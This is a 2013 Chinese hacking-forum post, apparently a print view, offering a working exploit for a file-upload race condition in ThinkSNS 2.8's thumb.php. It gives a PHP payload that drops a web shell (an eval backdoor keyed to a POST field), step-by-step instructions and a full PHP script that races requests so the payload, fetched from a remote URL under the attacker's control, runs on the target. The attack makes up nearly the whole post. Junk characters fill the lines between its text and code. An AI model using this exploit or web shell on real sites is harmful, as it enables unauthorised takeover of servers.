中国网络渗透测试联盟
标题:
Thinksns2.8文件上传漏洞利用exp
[打印本页]
作者:
admin
时间:
2013-2-4 16:12
标题:
Thinksns2.8文件上传漏洞利用exp
漏洞版本
8 K) ]: |- g( Y8 k+ G" P9 b- }3 @
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
: Z% J0 I- O0 N
漏洞文件
$ e! p# B q- p \: V: H
存在漏洞的文件为:thumb.php
& g, L- ^/ e6 e5 {) J2 U, x- D
作者:韦鲲鹏
! U& a, m b' z6 n1 o% \3 k+ X
1、 准备如下PHP文件并上传到服务器(自己的)。
- q0 ]) `% ~: p- j' U+ O8 F! A
文件内容如下:
) j" ]8 t8 d: G$ y& ^
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
# v; c, F$ Y* N5 x3 M/ x) M
2、 计算出临时的文件名:
/ v1 K ~& `4 J& }- G
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
- Y1 W0 X" z' R% E# V
$ Y8 g1 E6 C; I+ M
3、 上传临时文件。
7 [1 |- {% H$ H: E, {. h
4、 访问临时文件。
* J5 ?* q, H0 L6 O4 c
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
) y: c" @% \/ P
Exploit文件内容如下:(这个我就不详细解释了)
6 s3 s i3 M( i# [
<?php
0 N# v& c2 U8 D
error_reporting(0);
& C* \1 _' T4 k6 P1 l( c0 H' G
set_time_limit(0);
B1 g$ W$ C9 T* d# m
ini_set(“default_socket_timeout”, 5);
2 D% N( X, O. e& S4 N2 U) z
function http_send($host, $port, $headers) {
2 q& {% q& b# e' t0 X1 H) O
$fp = fsockopen($host, $port);
+ u: {( B4 M. a3 n4 J9 q8 o
if (!$fp) die(‘Connection -> fail’);
2 r+ D. G) ?$ T
fputs($fp, $headers);
4 m9 } `- ]/ E, t$ d3 W% k+ t
return $fp;
$ o L+ t! Q# ?) G5 U! O* Z$ a
}
[: x2 [. R4 E, @" |6 a
function http_recv($fp) {
$ }0 y) n* P+ c- b8 g4 i
$ret=”";
: c! s5 |7 [3 S% q7 e4 ~4 t
while (!feof($fp))
- n2 H! o$ H' ~( N
$ret.= fgets($fp, 1024);
5 b! h. k/ U4 s& h8 c: A- ~& n
fclose($fp);
# O/ f1 g: {$ g6 J1 Y6 d$ M
return $ret;
8 E% t z1 d4 U
}
! X7 ~9 w0 Y- G3 h' h& ~
print “\n# ThinkSns Arbitrary File Upload #\n”;
- q3 h6 z/ |! J* e/ `) }
print “# Discovered by 韦鲲鹏 #\n\n”;
+ |4 S" C. z4 C! V9 a
if ($argc < 4) {
' }) q# U: o+ B
print “Usage: php <host> <path> <romote_url>\n”;
, w2 t$ j: H; l" q
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; w* N0 Q, x) k% n
die();
7 J3 l: U% z! |; Y
}
0 ]" m) ~) V7 @4 R. Z8 g% P
$host = $argv[1];
' g0 i/ J) F. _0 z3 t0 S
$path = $argv[2];
. L* b" i3 x j9 Z
$url = $argv[3];
3 x: [* F5 I% t4 W- o$ [% ]
$i=0;
4 X' z' t8 C2 y
//上传数据包
: l6 e# X, N4 V
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
- [/ s: L, b" k* Q8 j( b$ I, ]
$headers_up .= “Host: “.$host.”\r\n”;
% O6 W" {/ O5 ]. ]- Z% F5 b: u6 J
$headers_up .= “Connection: close\r\n\r\n”;
, i2 z) U( \: n7 j4 d& n( b' e' ?! S
echo $headers_up;
. u& v! X8 ]1 b! k4 d
//临时文件访问数据包
4 |0 m" T, L4 }: x
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
+ H" }2 P& I& ^
$headers .= “Host: “.$host.”\r\n”;
, ?; Z( ~. P& M/ z% Y
$headers .= “Connection: close\r\n\r\n”;
/ _3 |: Y0 ?7 d, m
echo $headers;
" ]; m# ?/ Z# Y2 C' o7 L+ n ]
while(++$i<10) {
# R- ^& c2 }0 i7 [: E7 K* S
fclose(http_send($host, 80, $headers));
7 S6 L8 I' F6 d/ U+ p, Z/ I5 c
}
* h, G0 \5 I) i2 A, s/ K6 t2 ~
fclose(http_send($host, 80, $headers_up));
: {" q5 y0 m/ }7 b7 L
while(++$i<50) {
- \; V% o+ S% d) M7 d# L+ P K
fclose(http_send($host, 80, $headers));
7 n1 j4 b( A9 K' ]' U6 t
}
3 z6 y) T7 t, R D7 m
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
1 |* ~( T. i4 j! \
$headers .= “Host: “.$host.”\r\n”;
: w" V3 Y0 D5 A* R0 U
$headers .= “Connection: close\r\n\r\n”;
! b( @$ g) W: @8 g+ [5 r
$res=http_recv(http_send($host, 80, $headers));
( L" W9 s% C4 n9 w9 {/ T
if(preg_match(‘/200 OK/’,$res)) {
/ ]5 b3 X0 @7 | F2 ~
print “Success!\n\n”;
% v2 b) C: U8 a d
} else {
, H+ J( \8 w; t+ k$ E
print “Fail!\n\n”;
+ D _* F5 V; g) ~6 r
}
8 [* H* V2 r" d$ h" b
?>
5 y: C2 _3 f! i* H
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2